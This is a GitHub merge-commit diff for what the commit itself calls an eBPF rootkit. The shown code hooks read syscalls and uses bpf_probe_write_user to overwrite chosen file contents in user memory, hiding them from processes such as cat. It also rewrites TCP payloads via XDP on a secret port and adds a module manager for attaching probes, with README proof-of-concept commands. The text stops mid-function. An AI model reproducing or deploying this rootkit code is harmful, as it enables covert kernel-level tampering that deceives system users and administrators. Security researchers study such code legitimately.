Merge pull request #18 from h3xduck/output_modifier

Basic user memory manipulation + Control over rootkit modules and probes + Basic communication system
This commit is contained in:
Marcos S. Bajo
2022-01-16 13:36:12 +01:00
committed by GitHub
42 changed files with 129456 additions and 1177 deletions

24
.vscode/settings.json vendored Normal file
View File

@@ -0,0 +1,24 @@
{
"files.associations": {
"time.h": "c",
"constants.h": "c",
"pkt_cls.h": "c",
"map_common.h": "c",
"regex.h": "c",
"unistd.h": "c",
"kit.h": "c",
"module_manager.h": "c",
"modules.h": "c",
"libbpf.h": "c",
"bpf_tracing.h": "c",
"ptrace.h": "c",
"stat.h": "c",
"udp.h": "c",
"tcp.h": "c",
"if_link.h": "c",
"netlink.h": "c",
"bpf_helper_defs.h": "c",
"bpf.h": "c",
"stddef.h": "c"
}
}

View File

@@ -3,7 +3,7 @@
```bash ```bash
cd src cd src
make make
sudo ./bin/xdp_filter -t <network interface> sudo ./bin/kit -t <network interface>
``` ```
Network interface used for PoC: lo Network interface used for PoC: lo
@@ -22,3 +22,10 @@ echo -n "XDP_PoC_0" | nc 127.0.0.1 9000
cd src/client cd src/client
sudo ./injector -S 127.0.0.1 sudo ./injector -S 127.0.0.1
``` ```
------------------
## PoC 1 - Modifying arguments of read syscalls
```bash
echo "This won't be seen" > /tmp/txt.txt
cat /tmp/txt.txt
```

0
apps/.gitkeep Normal file
View File

BIN
src/.output/kit.bpf.o Normal file

Binary file not shown.

BIN
src/.output/kit.o Normal file

Binary file not shown.

1490
src/.output/kit.skel.h Normal file

File diff suppressed because it is too large Load Diff

Binary file not shown.

Binary file not shown.

File diff suppressed because it is too large Load Diff

View File

@@ -5,19 +5,23 @@ LLVM_STRIP ?= llvm-strip
BPFTOOL ?= $(abspath ./tools/bpftool) BPFTOOL ?= $(abspath ./tools/bpftool)
LIBBPF_SRC := $(abspath ./libbpf/src) LIBBPF_SRC := $(abspath ./libbpf/src)
LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a) LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a)
VMLINUX := ./vmlinux/newvmlinux.h USER_INCLUDES_DIR := $(abspath ./user/include/)
USER_INCLUDES_HDR := $(wildcard $(USER_INCLUDES_DIR)/**/*.h)
USER_INCLUDES_SRC := $(wildcard $(USER_INCLUDES_DIR)/**/*.c)
USER_INCLUDES_OBJ := $(USER_INCLUDES_SRC:.c=.o)
VMLINUX := ./vmlinux/headervmlinux.h
USER := user USER := user
EBPF := ebpf EBPF := ebpf
COMMON_INCLUDES := -I$(abspath ./include) COMMON_INCLUDES := -I$(abspath ./ebpf/include) -I$(abspath ./user/include)
# Use our own libbpf API headers and Linux UAPI headers distributed with # Use our own libbpf API headers and Linux UAPI headers distributed with
# libbpf to avoid dependency on system-wide headers, which could be missing or # libbpf to avoid dependency on system-wide headers, which could be missing or
# outdated # outdated
#INCLUDES := -I$(OUTPUT) -I./libbpf/include/uapi -I$(dir $(VMLINUX)) INCLUDES := -I$(OUTPUT) -I./libbpf/include/uapi -I$(dir $(VMLINUX))
INCLUDES := -I$(OUTPUT) -I./libbpf/include/uapi -I/lib/modules/5.11.0-40-generic/build #-I$(dir $(VMLINUX)) #INCLUDES := -I$(OUTPUT) -I./libbpf/include/uapi -I/lib/modules/5.11.0-41-generic/build/include -I/lib/modules/$$(uname -r)/build/include/uapi -I/lib/modules/$$(uname -r)/build/include/generated/uapi -I/lib/modules/$$(uname -r)/build/arch/x86/include -I/lib/modules/$$(uname -r)/build/arch/x86/include/generated #-I$(dir $(VMLINUX))
CFLAGS := -g -Wall #-I/lib/modules/5.11.0-40-generic/build/include CFLAGS := -g -Wall
ARCH := $(shell uname -m | sed 's/x86_64/x86/') ARCH := $(shell uname -m | sed 's/x86_64/x86/')
APPS = xdp_filter APPS = kit
# Get Clang's default includes on this system. We'll explicitly add these dirs # Get Clang's default includes on this system. We'll explicitly add these dirs
# to the includes list when compiling with `-target bpf` because otherwise some # to the includes list when compiling with `-target bpf` because otherwise some
@@ -51,6 +55,7 @@ clean:
$(Q)rm -rf $(OUTPUT) user/$(APPS) $(Q)rm -rf $(OUTPUT) user/$(APPS)
$(Q)rm -rf $(OUTPUT) ebpf/$(APPS) $(Q)rm -rf $(OUTPUT) ebpf/$(APPS)
$(Q)rm -rf $(OUTPUT) bin/* $(Q)rm -rf $(OUTPUT) bin/*
$(Q)rm -f $(USER_INCLUDES_OBJ)
$(OUTPUT) $(OUTPUT)/libbpf: $(OUTPUT) $(OUTPUT)/libbpf:
$(call msg,MKDIR,$@) $(call msg,MKDIR,$@)
@@ -67,7 +72,7 @@ $(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPU
# Build BPF code # Build BPF code
$(OUTPUT)/%.bpf.o: $(EBPF)/%.bpf.c $(LIBBPF_OBJ) $(wildcard $(EBPF)/%.h) | $(OUTPUT) $(OUTPUT)/%.bpf.o: $(EBPF)/%.bpf.c $(LIBBPF_OBJ) $(wildcard $(EBPF)/%.h) | $(OUTPUT)
$(call msg,BPF,$@) $(call msg,BPF,$@)
$(Q)$(CLANG) -g -O2 -fno-builtin -target bpf -D__TARGET_ARCH_$(ARCH) $(INCLUDES) $(COMMON_INCLUDES) $(CLANG_BPF_SYS_INCLUDES) -c $(filter %.c,$^) -o $@ $(Q)$(CLANG) -g -O2 -fno-builtin -target bpf -D__KERNEL__ -D__TARGET_ARCH_$(ARCH) $(INCLUDES) $(COMMON_INCLUDES) $(CLANG_BPF_SYS_INCLUDES) -c $(filter %.c,$^) -o $@
$(Q)$(LLVM_STRIP) -g $@ # strip useless DWARF info $(Q)$(LLVM_STRIP) -g $@ # strip useless DWARF info
# Generate BPF skeletons # Generate BPF skeletons
@@ -76,16 +81,24 @@ $(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT)
$(Q)$(BPFTOOL) gen skeleton $< > $@ $(Q)$(BPFTOOL) gen skeleton $< > $@
# Build user-space code # Build user-space code
$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h $(patsubst %,$(OUTPUT)/%.o, $(APPS)): %.o: %.skel.h
$(OUTPUT)/%.o: $(USER)/%.c $(wildcard $(USER)/%.h) | $(OUTPUT)
#User includes and modules
$(USER_INCLUDES_OBJ): $(wildcard $(USER_INCLUDES_SRC)/**/*.h) | $(OUTPUT)
$(call msg,CC,$@)
$(Q)$(CC) $(CFLAGS) $(INCLUDES) $(COMMON_INCLUDES) -c $(USER_INCLUDES_SRC) -o $@
#User code
$(OUTPUT)/%.o: $(USER)/%.c $(wildcard $(USER)/*.h)| $(OUTPUT)
$(call msg,CC,$@) $(call msg,CC,$@)
$(Q)$(CC) $(CFLAGS) $(INCLUDES) $(COMMON_INCLUDES) -c $(filter $(USER)/%.c,$^) -o $@ $(Q)$(CC) $(CFLAGS) $(INCLUDES) $(COMMON_INCLUDES) -c $(filter $(USER)/%.c,$^) -o $@
# Build application binary # Build application binary
$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT) $(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) $(USER_INCLUDES_OBJ) | $(OUTPUT)
$(call msg,BINARY,$@) $(call msg,BINARY,$@)
$(Q)$(CC) $(CFLAGS) $^ -lelf -lz -o bin/$@ $(Q)$(CC) $(CFLAGS) $(INCLUDES) $^ -lelf -lbpf -lz -o bin/$@
$(Q)rm $(USER_INCLUDES_OBJ)
# delete failed targets # delete failed targets
.DELETE_ON_ERROR: .DELETE_ON_ERROR:

BIN
src/bin/kit Executable file

Binary file not shown.

Binary file not shown.

View File

@@ -9,7 +9,7 @@
#include <netdb.h> #include <netdb.h>
#include <stdlib.h> #include <stdlib.h>
#include "../constants/constants.h" #include "../common/constants.h"
// For printing with colors // For printing with colors
#define KGRN "\x1B[32m" #define KGRN "\x1B[32m"

View File

@@ -1,8 +1,13 @@
#ifndef __CONSTANTS_H #ifndef __CONSTANTS_H
#define __CONSTANTS_H #define __CONSTANTS_H
//XDP
#define SECRET_PACKET_PAYLOAD "XDP_PoC_0" #define SECRET_PACKET_PAYLOAD "XDP_PoC_0"
#define SECRET_PACKET_DEST_PORT 9000 #define SECRET_PACKET_DEST_PORT 9000
#define SUBSTITUTION_NEW_PAYLOAD "The previous message has been hidden ;)" #define SUBSTITUTION_NEW_PAYLOAD "The previous message has been hidden ;)"
//FS
#define STRING_FS_HIDE "This won't be seen"
#define STRING_FS_OVERWRITE "That is now hidden"
#endif #endif

23
src/common/map_common.h Normal file
View File

@@ -0,0 +1,23 @@
#ifndef __MAP_COMMON_H
#define __MAP_COMMON_H
#define RB_EVENT_MAX_MESSAGE_SIZE 512
// Ring buffer for kernel->user communication
typedef enum {
INFO,
DEBUG,
EXIT,
ERROR
} event_type_t;
struct rb_event {
int pid;
char message[RB_EVENT_MAX_MESSAGE_SIZE];
int code;
event_type_t event_type;
};
#endif

137
src/ebpf/include/bpf/fs.h Normal file
View File

@@ -0,0 +1,137 @@
#ifndef __FS_H
#define __FS_H
#include "headervmlinux.h"
/*#include <stdio.h>
#include <linux/types.h>
#include <unistd.h>
#include <string.h>
#include <linux/ptrace.h>
#include <linux/stat.h>*/
#include <ctype.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>
#include "../../../common/constants.h"
#include "../../../common/map_common.h"
#include "../data/ring_buffer.h"
#include "map_defs.h"
#include "../utils/strings.h"
/**
* https://github.com/torvalds/linux/blob/master/kernel/trace/trace_syscalls.c#L673
*/
struct sys_read_exit_ctx {
unsigned long long unused; //Pointer to pt_regs
int __syscall_nr;
long ret;
};
/**
* https://github.com/torvalds/linux/blob/master/kernel/trace/trace_syscalls.c#L588
*/
struct sys_read_enter_ctx {
unsigned long long unused; //Pointer to pt_regs
int __syscall_nr;
unsigned int padding; //Alignment
unsigned long fd;
char* buf;
size_t count;
};
static __always_inline int handle_sys_read(struct sys_read_enter_ctx *ctx, int fd, char* buf){
__u64 pid_tgid = bpf_get_current_pid_tgid();
__u32 pid = pid_tgid >> 32;
struct fs_open_data data = {
.buf = buf,
.fd = fd,
.pid = pid
};
bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY);
//bpf_printk("IN PID: %u, FS:%u\n", pid, fd);
return 0;
}
/**
* @brief Receives read event and stores the parameters into internal map
*
*/
SEC("tracepoint/syscalls/sys_enter_read")
int kprobe_ksys_read(struct sys_read_enter_ctx *ctx) {
struct sys_read_enter_ctx *rctx = ctx;
if (ctx == NULL){
bpf_printk("Error\n");
return 0;
}
int fd = (int) ctx->fd;
char *buf = (char*) ctx->buf;
return handle_sys_read(ctx, fd, buf);
}
/**
* @brief Called AFTER the ksys_read call, checks the internal
* map for the tgid+pid used and extracts the parameters.
* Uses the user-space buffer reference for overwritting the returned
* values.
*
*/
SEC("tracepoint/syscalls/sys_exit_read")
int kretprobe_vfs_read(struct sys_read_exit_ctx *ctx){
__u64 pid_tgid = bpf_get_current_pid_tgid();
if(pid_tgid<0){
//bpf_printk("Out\n");
return -1;
}
//bpf_printk("OUT PID: %u\n", pid_tgid>>32);
struct fs_open_data *data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);
if (data == NULL || data->buf == NULL){
//Not found
//bpf_printk("Not found\n");
return -1;
}
//Overwritting a byte of the buffer
char *buf = data->buf;
__u32 pid = data->pid;
char msg_original[] = STRING_FS_HIDE;
char msg_overwrite[] = STRING_FS_OVERWRITE;
char c_buf[sizeof(msg_overwrite)] = {0};
if(buf == NULL){
return -1;
}
#pragma unroll
for(int ii=0; ii<sizeof(msg_original)-1; ii++){
if(bpf_probe_read_user(c_buf+ii, 1, buf+ii)<0){
//bpf_printk("Error reading\n");
return -1;
}
char c = (char)*(c_buf+ii);
if( c != msg_original[ii]){
//Not the string we are looking for
//if(ii>0)bpf_printk("Discarded string, expected %i and received %i, %s\n", c, msg_original[ii], buf);
return -1;
}
if(c<32 || c>126){ //Not alphanumeric or symbol
//bpf_printk("Discarded string at pid cause c %u, %s\n", pid, buf);
return -1;
}
}
bpf_printk("Overwritting at pid %u, %s\n", pid, buf);
if(bpf_probe_write_user((void*)buf, (void*)msg_overwrite, (__u32)sizeof(msg_overwrite)-1)<0){
bpf_printk("Error writing to user memory\n");
}
return 0;
}
#endif

View File

@@ -0,0 +1,20 @@
#ifndef __BPF_MAP_DEFS_H
#define __BPF_MAP_DEFS_H
#include "headervmlinux.h"
//File system
struct fs_open_data{
char* buf;
int fd;
__u32 pid;
};
struct fs_open{
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 1024*sizeof(struct fs_open_data));
__type(key, __u64); //thread group id(MSB) + pid (LSB)
__type(value, struct fs_open_data);
} fs_open SEC(".maps");
#endif

View File

@@ -0,0 +1,48 @@
#ifndef __SCHED_H
#define __SCHED_H
#/*include <stdio.h>
#include <linux/types.h>
#include <unistd.h>
#include <string.h>
#include <linux/bpf.h>*/
#include "headervmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>
#include "../../../common/constants.h"
#include "../../../common/map_common.h"
#include "../data/ring_buffer.h"
//BPF map
/*struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 8192);
__type(key, pid_t);
__type(value, char[5]);
} exec_start SEC(".maps");*/
/**
* @brief A kthread is started in the kernel (a new program)
* @ref https://elixir.bootlin.com/linux/latest/source/include/trace/events/sched.h#L397
*/
SEC("tp/sched/sched_process_exec")
int handle_sched_process_exec(struct trace_event_raw_sched_process_exec *ctx){
pid_t pid = bpf_get_current_pid_tgid() >> 32;
char message[] = "PROCESS ACTIVATED";
//Just deactivated for now, but working
/*if(ring_buffer_send(&rb_comm, pid, INFO, 0, message, sizeof(message))<0){
bpf_printk("ERROR printing in RB_COMM at fs module");
}*/
return 0;
}
#endif

View File

@@ -0,0 +1,48 @@
#ifndef __RING_BUFFER_H
#define __RING_BUFFER_H
/*#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>*/
#include "headervmlinux.h"
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>
#include "../../../common/map_common.h"
#define RING_BUFFER_MAX_ELEMS 256
/**
* @brief Ring buffer for general communication kernel->userspace
*
*/
struct ring_buffer {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, RING_BUFFER_MAX_ELEMS * 1024); //Multiple struct rb_event(s) must fit here
};
struct ring_buffer rb_comm SEC(".maps");
/**
* @brief Sends an event into the specified ring kernel buffer
*
* @return 0 if ok, -1 if error
*/
static __always_inline int ring_buffer_send(struct ring_buffer *rb, int pid, event_type_t event_type, int code, char* message, __u32 message_len){
struct rb_event *event = (struct rb_event*) bpf_ringbuf_reserve(rb, sizeof(struct rb_event), 0);
if(!event){
return -1;
}
event->code = code;
event->event_type = event_type;
event->pid = pid;
bpf_probe_read_kernel_str(&event->message, message_len, message);
bpf_ringbuf_submit(event, 0);
return 0;
}
#endif

View File

@@ -1,9 +1,10 @@
#ifndef __PACKET_MANAGER_H__ #ifndef __PACKET_MANAGER_H__
#define __PACKET_MANAGER_H__ #define __PACKET_MANAGER_H__
#include <linux/bpf.h> /*#include <linux/bpf.h>
#include <linux/if_ether.h> #include <linux/if_ether.h>
#include <linux/if.h> #include <linux/if.h>
#include <linux/limits.h> #include <linux/limits.h>*/
#include "headervmlinux.h"
/* BOUND CHECKING*/ /* BOUND CHECKING*/

View File

@@ -1,12 +1,13 @@
#ifndef __IP_HELPER_H__ #ifndef __IP_HELPER_H__
#define __IP_HELPER_H__ #define __IP_HELPER_H__
#include <linux/ip.h> /*#include <linux/ip.h>
#include <linux/types.h> #include <linux/types.h>
#include <linux/bpf.h> #include <linux/bpf.h>*/
#include <bpf/bpf_endian.h> #include <bpf/bpf_endian.h>
#include <bpf/bpf_helpers.h> #include <bpf/bpf_helpers.h>
#include "headervmlinux.h"
/** /**
* IP checksum calculation. * IP checksum calculation.
@@ -22,7 +23,7 @@ static __always_inline unsigned short checksum(unsigned short *addr, int nbytes)
nbytes -= 2; nbytes -= 2;
} }
if(nbytes>0){ if(nbytes>0){
sum +=htons((unsigned char)*addr); sum +=bpf_htons((unsigned char)*addr);
} }
while (sum>>16){ while (sum>>16){

View File

@@ -1,16 +1,16 @@
#ifndef __TCP_HELPER_H__ #ifndef __TCP_HELPER_H__
#define __TCP_HELPER_H__ #define __TCP_HELPER_H__
#include <linux/tcp.h> /*#include <linux/tcp.h>
#include <linux/ip.h> #include <linux/ip.h>*/
#include "headervmlinux.h"
static __always_inline int get_tcp_src_port(struct tcphdr *tcp){ static __always_inline int get_tcp_src_port(struct tcphdr *tcp){
return ntohs(tcp->source); return bpf_ntohs(tcp->source);
} }
static __always_inline int get_tcp_dest_port(struct tcphdr *tcp){ static __always_inline int get_tcp_dest_port(struct tcphdr *tcp){
return ntohs(tcp->dest); return bpf_ntohs(tcp->dest);
} }
/** /**
@@ -27,7 +27,7 @@ static __always_inline unsigned short tcp_checksum(unsigned short *addr, int nby
nbytes -= 2; nbytes -= 2;
} }
if(nbytes>0){ if(nbytes>0){
sum += htons((unsigned char)*addr); sum += bpf_htons((unsigned char)*addr);
} }
while (sum>>16){ while (sum>>16){

View File

@@ -1,19 +1,20 @@
#ifndef __COMMON_UTILS_H__ #ifndef __UTILS_STRINGS_H__
#define __COMMON_UTILS_H__ #define __UTILS_STRINGS_H__
/** /**
* Compares two strings. * Compares two strings.
* Yes, we cannot use strcmp from ebpf. * Yes, we cannot use strcmp from ebpf.
* https://github.com/iovisor/bcc/issues/691 * https://github.com/iovisor/bcc/issues/691
* *
* Misteriouslly we can from xdp_filter, but it might not work somewhere else. * Misteriouslly it works sometimes due to compiler optimizations, but it might not work somewhere else.
* However it is the verifier which does not let us call strncmp without * It is the verifier which does not let us call strncmp without
* additional checks so we will use this one anyway. * additional checks so we will use this one anyway.
* *
* @param str1 * @param str1
* @param str1len //Just to please the ebpf verifier * @param str1len //Just to please the ebpf verifier
* @param str2 * @param str2
* @param str2len //Just to please the ebpf verifier * @param str2len //Just to please the ebpf verifier
* @param size Number of bytes to check
* @return 0 if equal, -1 if false * @return 0 if equal, -1 if false
*/ */
static __always_inline int str_n_compare(char* str1, int str1len, char* str2, int str2len, int size){ static __always_inline int str_n_compare(char* str1, int str1len, char* str2, int str2len, int size){
@@ -57,6 +58,11 @@ static __always_inline char* str_n_copy(char *dest, const char *src, int count){
return dest; return dest;
} }
/**
* @brief Checks if string is a
*
*/

View File

@@ -1,7 +1,8 @@
#ifndef __XDP_HELPER_H__ #ifndef __XDP_HELPER_H__
#define __XDP_HELPER_H__ #define __XDP_HELPER_H__
#include <linux/types.h> //#include <linux/types.h>
#include "headervmlinux.h"
#include <bpf/bpf_helpers.h> #include <bpf/bpf_helpers.h>
@@ -84,7 +85,7 @@ static __always_inline struct expand_return expand_tcp_packet_payload(struct xdp
//We modify the fields we care about of the headers //We modify the fields we care about of the headers
bpf_printk("before: %i, checksum %u\n", ret.ip->tot_len, ret.ip->check); bpf_printk("before: %i, checksum %u\n", ret.ip->tot_len, ret.ip->check);
ret.ip->tot_len = htons(ntohs(ret.ip->tot_len) + more_bytes); ret.ip->tot_len = bpf_htons(bpf_ntohs(ret.ip->tot_len) + more_bytes);
__u32 csum = 0; __u32 csum = 0;
ret.ip->check = 0; ret.ip->check = 0;
ipv4_csum(ret.ip, sizeof(struct iphdr), &csum); ipv4_csum(ret.ip, sizeof(struct iphdr), &csum);

View File

@@ -1,5 +1,5 @@
//#include "newvmlinux.h" //Linux system includes
#include <unistd.h> /*#include <unistd.h>
#include <stdbool.h> #include <stdbool.h>
#include <linux/tcp.h> #include <linux/tcp.h>
#include <linux/udp.h> #include <linux/udp.h>
@@ -13,37 +13,32 @@
#include <arpa/inet.h> #include <arpa/inet.h>
#include <linux/if_ether.h> #include <linux/if_ether.h>
#include <linux/ip.h> #include <linux/ip.h>
#include <linux/udp.h> #include <linux/udp.h>*/
#include <linux/bpf.h>
#include "headervmlinux.h"
//BPF & libbpf dependencies
#include <bpf/bpf_helpers.h> #include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h> #include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h> #include <bpf/bpf_core_read.h>
#include <bpf/bpf_endian.h>
#include "../user/xdp_filter.h" //User-kernel dependencies
#include "../constants/constants.h" #include "../common/constants.h"
//BPF exclusive includes
#include "packet/packet_manager.h" #include "packet/packet_manager.h"
#include "packet/protocol/tcp_helper.h" #include "packet/protocol/tcp_helper.h"
#include "xdp/xdp_helper.h" #include "xdp/xdp_helper.h"
#include "common/common_utils.h" #include "utils/strings.h"
//BPF modules to load
#include "include/bpf/sched.h"
#include "include/bpf/fs.h"
char LICENSE[] SEC("license") = "Dual BSD/GPL"; char LICENSE[] SEC("license") = "Dual BSD/GPL";
#define ETH_ALEN 6
//BPF map
/*struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 8192);
__type(key, pid_t);
__type(value, char[5]);
} exec_start SEC(".maps");*/
//Ring buffer
/*struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 256 * 1024);
} rb SEC(".maps");*/
//Ethernet frame struct //Ethernet frame struct
struct eth_hdr { struct eth_hdr {
@@ -54,8 +49,7 @@ struct eth_hdr {
SEC("xdp_prog") SEC("xdp_prog")
int xdp_receive(struct xdp_md *ctx) int xdp_receive(struct xdp_md *ctx){
{
//bpf_printk("BPF triggered\n"); //bpf_printk("BPF triggered\n");
void *data_end = (void *)(long)ctx->data_end; void *data_end = (void *)(long)ctx->data_end;
@@ -81,7 +75,7 @@ int xdp_receive(struct xdp_md *ctx)
} }
if (get_protocol(data) != IPPROTO_TCP){ if (get_protocol(data) != IPPROTO_TCP){
bpf_printk("C"); //bpf_printk("C");
return XDP_PASS; return XDP_PASS;
} }
@@ -92,11 +86,11 @@ int xdp_receive(struct xdp_md *ctx)
} }
if (get_tcp_dest_port(tcp) != SECRET_PACKET_DEST_PORT){ if (get_tcp_dest_port(tcp) != SECRET_PACKET_DEST_PORT){
bpf_printk("E %i\n", ntohs(tcp->dest)); bpf_printk("E %i\n", bpf_ntohs(tcp->dest));
return XDP_PASS; return XDP_PASS;
} }
payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4); payload_size = bpf_ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
payload = (void *)tcp + tcp->doff*4; payload = (void *)tcp + tcp->doff*4;
// We use "size - 1" to account for the final '\0', but depending on the program use // We use "size - 1" to account for the final '\0', but depending on the program use
@@ -151,7 +145,7 @@ int xdp_receive(struct xdp_md *ctx)
return XDP_PASS; return XDP_PASS;
} }
payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4); payload_size = bpf_ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
payload = (void *)tcp + tcp->doff*4; payload = (void *)tcp + tcp->doff*4;
//Quite a trick to avoid the verifier complaining when it's clear we are OK with the payload //Quite a trick to avoid the verifier complaining when it's clear we are OK with the payload

View File

@@ -6,7 +6,7 @@
#include <time.h> #include <time.h>
#include <sys/resource.h> #include <sys/resource.h>
#include <bpf/libbpf.h> #include <bpf/libbpf.h>
#include "bootstrap.h" #include "include/bootstrap.h"
#include "bootstrap.skel.h" #include "bootstrap.skel.h"
static struct env { static struct env {

View File

@@ -0,0 +1,15 @@
#ifndef __MODULE_COMMON_H
#define __MODULE_COMMON_H
#include <linux/bpf.h>
#include <bpf/libbpf.h>
int detach_link_generic(struct bpf_link *link){
int ret = bpf_link__destroy(link);
if(ret!=0){
return -1;
}
return 0;
}
#endif

View File

@@ -0,0 +1,46 @@
#ifndef __MOD_FS_H
#define __MOD_FS_H
#include <linux/bpf.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
#include "common.h"
#include "kit.skel.h"
//Connections
int attach_kprobe_ksys_read(struct kit_bpf *skel){
skel->links.kprobe_ksys_read = bpf_program__attach(skel->progs.kprobe_ksys_read);
return libbpf_get_error(skel->links.kprobe_ksys_read);
}
int attach_kretprobe_vfs_read(struct kit_bpf *skel){
skel->links.kretprobe_vfs_read = bpf_program__attach(skel->progs.kretprobe_vfs_read);
return libbpf_get_error(skel->links.kretprobe_vfs_read);
}
int attach_fs_all(struct kit_bpf *skel){
return attach_kprobe_ksys_read(skel) || attach_kretprobe_vfs_read(skel);
}
int detach_kprobe_ksys_read(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.kprobe_ksys_read);
if(err<0){
fprintf(stderr, "Failed to detach fs link\n");
return -1;
}
return 0;
}
int detach_kretprobe_vfs_read(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.kretprobe_vfs_read);
if(err<0){
fprintf(stderr, "Failed to detach fs link\n");
return -1;
}
return 0;
}
int detach_fs_all(struct kit_bpf *skel){
return detach_kprobe_ksys_read(skel) || detach_kretprobe_vfs_read(skel);
}
#endif

View File

@@ -0,0 +1,67 @@
#include "module_manager.h"
#include "xdp.h"
#include "sched.h"
#include "fs.h"
module_config_t module_config = {
.xdp_module = {
.all = ON,
.xdp_receive = OFF
},
.sched_module = {
.all = ON,
.handle_sched_process_exec = OFF
},
.fs_module = {
.all = ON,
.kprobe_ksys_read = OFF,
.kretprobe_vfs_read = OFF
}
};
module_config_attr_t module_config_attr = {
.skel = NULL,
.xdp_module = {
.ifindex = -1,
.flags = -1
},
.sched_module = {},
.fs_module = {}
};
int setup_all_modules(){
//Alias
module_config_t config = module_config;
module_config_attr_t attr = module_config_attr;
int ret;
//XDP
if(config.xdp_module.all == ON){
ret = attach_xdp_all(attr.skel, attr.xdp_module.ifindex, attr.xdp_module.flags);
}else{
if(config.xdp_module.xdp_receive == ON) ret = attach_xdp_receive(attr.skel, attr.xdp_module.ifindex, attr.xdp_module.flags);
}
if(ret!=0) return -1;
//SCHED
if(config.sched_module.all == ON){
ret = attach_sched_all(attr.skel);
}else{
if(config.sched_module.handle_sched_process_exec == ON) ret = attach_handle_sched_process_exec(attr.skel);
}
if(ret!=0) return -1;
//FS (File system)
if(config.fs_module.all == ON){
ret = attach_fs_all(attr.skel);
}else{
if(config.fs_module.kprobe_ksys_read == ON) ret = attach_kprobe_ksys_read(attr.skel);
if(config.fs_module.kretprobe_vfs_read == ON) ret = attach_kretprobe_vfs_read(attr.skel);
}
if(ret!=0) return -1;
return 0;
}

View File

@@ -0,0 +1,64 @@
#ifndef __MOD_MANAGER_H
#define __MOD_MANAGER_H
#include <stdint.h>
#include <unistd.h>
#include <linux/types.h>
#define ON 1
#define OFF 0
//Centralized configutation struct.
//Used by the module manager to decide which modules to load
//If <all> is set in a module, the other configurations are ignored
typedef struct module_config_t{
struct xdp_module {
char all;
char xdp_receive;
} xdp_module;
struct sched_module {
char all;
char handle_sched_process_exec;
}sched_module;
struct fs_module {
char all;
char kprobe_ksys_read;
char kretprobe_vfs_read;
}fs_module;
} module_config_t;
//Configuration struct. Used by the module manager to
//correctly attach the needed modules, providing necessary params
typedef struct module_config_attr_t{
struct kit_bpf *skel;
struct xdp_module_attr {
__u32 ifindex;
__u32 flags;
} xdp_module;
struct sched_module_attr {
void* __empty;
}sched_module;
struct fs_module_attr {
void* __empty;
}fs_module;
} module_config_attr_t;
//An unique module configutation struct and attr
extern module_config_t module_config;
extern module_config_attr_t module_config_attr;
/**
* @brief Installs the ebpf modules according to the module_config
*
* @return 0 if ok, -1 if error
*/
int setup_all_modules();
#endif

View File

@@ -0,0 +1,36 @@
#ifndef __MOD_SCHED_H
#define __MOD_SCHED_H
#include <linux/bpf.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
#include "common.h"
#include "kit.skel.h"
//Connections
int attach_handle_sched_process_exec(struct kit_bpf *skel){
skel->links.handle_sched_process_exec = bpf_program__attach(skel->progs.handle_sched_process_exec);
return libbpf_get_error(skel->links.handle_sched_process_exec);
}
int attach_sched_all(struct kit_bpf *skel){
return attach_handle_sched_process_exec(skel);
}
//Disconnections
int detach_handle_sched_process_exec(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.handle_sched_process_exec);
if(err<0){
fprintf(stderr, "Failed to detach sched link\n");
return -1;
}
return 0;
}
int detach_sched_all(struct kit_bpf *skel){
return detach_handle_sched_process_exec(skel);
}
#endif

View File

@@ -0,0 +1,75 @@
#ifndef __MOD_XDP_H
#define __MOD_XDP_H
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
#include <linux/if_link.h>
#include "common.h"
#include <sys/resource.h>
#include "kit.skel.h"
int attach_xdp_receive(struct kit_bpf *skel, __u32 ifindex, __u32 flags){
//Attach BPF program to network interface
//New way of doing it: it allows for future addition of multiple
//XDP programs attached to same interface if needed
//Also done this way to modularize attaching the different tracepoints
//of the rootkit
/** @ref Test suite by readhat ebpf devs on XDP
* https://git.zx2c4.com/linux/plain/tools/testing/selftests/bpf/prog_tests/xdp_link.c
*/
struct bpf_prog_info prog_info;
__u32 bpf_prog_info_size = sizeof(prog_info);
__u32 xdp_prog_fd = bpf_program__fd(skel->progs.xdp_receive);
__u32 xdp_prog_id_old = 0;
__u32 xdp_prog_id_new;
__u32 err;
DECLARE_LIBBPF_OPTS(bpf_xdp_set_link_opts, opts, .old_fd = -1);
memset(&prog_info, 0, bpf_prog_info_size);
err = bpf_obj_get_info_by_fd(xdp_prog_fd, &prog_info, &bpf_prog_info_size);
if(err<0){
fprintf(stderr, "Failed to setup xdp link\n");
return -1;
}
xdp_prog_id_new = prog_info.id;
//Check whether there exists previously loaded XDP program
err = bpf_get_link_xdp_id(ifindex, &xdp_prog_id_old, 0);
